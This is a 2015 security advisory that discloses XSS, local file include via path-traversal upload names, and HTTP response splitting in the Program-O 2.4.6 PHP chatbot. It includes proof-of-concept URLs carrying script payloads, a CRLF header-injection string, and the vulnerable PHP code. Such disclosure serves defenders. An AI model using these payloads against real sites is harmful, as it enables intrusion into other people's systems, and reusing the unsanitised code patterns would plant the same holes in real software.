Document Title: =============== Program-O v2.4.6 - Multiple Web Vulnerabilities References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1414 Release Date: ============= 2015-01-21 Vulnerability Laboratory ID (VL-ID): ==================================== 1414 Common Vulnerability Scoring System: ==================================== 6.3 Product & Service Introduction: =============================== Welcome to the Program O Project website This is the home of the Open Source PHP MySQL AIML Chatbot Project. Program O is an AIML engine written in PHP with MySQL. Here you can find support, help, bot addons, a brilliant and friendly community and ofcourse the Program O download files. (Copy of the Vendor Homepage: http://blog.program-o.com/ ) Abstract Advisory Information: ============================== An independent Vulnerability Laboratory Researcher discovered multiple vulnerabilities in the official Program-O v2.4.6 web-application. Vulnerability Disclosure Timeline: ================================== 2015-01-21: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Program O Product: Program O AIML Chatbot - Web Application 2.4.6 Exploitation Technique: ======================= Remote Severity Level: =============== High Proof of Concept (PoC): ======================= 1.1 Client-Side Cross Site Scripting Vulnerability The xss vulnerabilities can be exploited by remote attackers without privileged application user account and with low user interaction. For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue. http://localhost/Program-O/gui/xml/index.php?convo_id=444%22/%3E%3Csvg/onload=alert%281%29%3E Cause echo $convo_id; $post_vars = filter_input_array(INPUT_POST) : array(); $get_vars = filter_input_array(INPUT_GET) : array(); $request_vars = array_merge($get_vars, $post_vars); $convo_id = $request_vars['convo_id'] : get_convo_id (); 1.2 Client-Side Cross Site Scripting Vulnerability http://localhost/Program-O/gui/xml/index.php/%22%3E%3Csvg/onload=alert%280%29%3E ./Program-O/gui/xml/index.php echo $_SERVER['PHP_SELF']; 3. /logs/index.php $iframeURL = $_POST['file'] : 'about:blank'; echo $iframeURL;
2.1 Application-Side Cross Site Scripting Vulnerability The persistent input validation vulnerabilities can be exploited by remote attackers with low privileged application user account and with low user interaction. For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue. /admin/validateAIML.php cause because of echo $status; $status = "File $fileName is valid.
\n"; giving valid AIML files names like should do the trick 2.2 Application-Side Cross Site Scripting Vulnerability (Only in older php server versions) /admin/file.php print "File $req_file doesn't exist."; $req_file = basename($_GET['file']); exploit ?file=">>payload 3. File Manipulation - Local File Include The local file include vulnerability can be exploited by remote attackers with low privileged application user account and without user interaction. For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue. /admin/validateAIML.php Cause because of, move_uploaded_file($_FILES['uploaded']['tmp_name'], $target)) $target = $uploadDir . $ip . '/' . $tf; $uploadDir = _UPLOAD_PATH_; define('_UPLOAD_PATH_', _CONF_PATH_ . 'uploads' . $path_separator); // global_config.php define() define('_CONF_PATH_', _BASE_PATH_ . 'config' . $path_separator); // global_config.php define() define('_BASE_PATH_', $parentFolder); // global_config.php define() Exploitation is to give your file(s) names like ../../../file so when they got uploaded, they can cause LFI 4. LFI, File Manipulation (RCE in some special cases only!) The local file include vulnerability can be exploited by remote attackers with low privileged application user account and without user interaction. For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue. /admin/upload_old.php move_uploaded_file($_FILES['aimlfile']['tmp_name'], $file)) $file = './uploads/' . $_FILES['aimlfile']['name']; exact same issues in admin/upload.php 5.1 HTTP Response Splitting (CRLF) The HTTP Response Splitting issues can be exploited by remote attackers without privileged application user account and with medium or high user interaction. For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue. header("Refresh: 5; url=$whoami?file=$req_file&send_file=yes"); $whoami = basename(__FILE__); $req_file = basename($_GET['file']); 5.2 HTTP Response Splitting (CRLF) /admin/download.php cause, $referer = $_SERVER['HTTP_REFERER']; header("Refresh: 5; url=file.php?file=$zipFilename&send_file=yes&referer=$referer&msg=$msg"); So as long as we spoof our referer to %0A%0DContent-Injection:goes-here Security Risk: ============== 1.1 - 1.2 The security risk of the client-side cross site scripting vulnerabilities is estimated as medium. (CVSS 2.6) 2.1 - 2.2 The security risk of the application-side input validation web vulnerabilities are estimated as medium. (CVSS 3.7) 3.0 The security risk of the local file include web vulnerability is estimated as high. (CVSS 6.1) 4.0 The security risk of the local file manipulation issue and code execution vulnerability is estimated as high. (CVSS 6.4). Credits & Authors: ================== Paulos Yibelo (paulosyibelo.com) Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com Section: dev.vulnerability-db.com - forum.vulnerability-db.com - magazine.vulnerability-db.com Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/ Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission. Copyright © 2015 | Vulnerability Laboratory [Evolution Security] -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com CONTACT: research@vulnerability-lab.com PGP KEY: http://www.vulnerability-lab.com/keys/admin@vulnerability-lab.com%280x198E9928%29.txt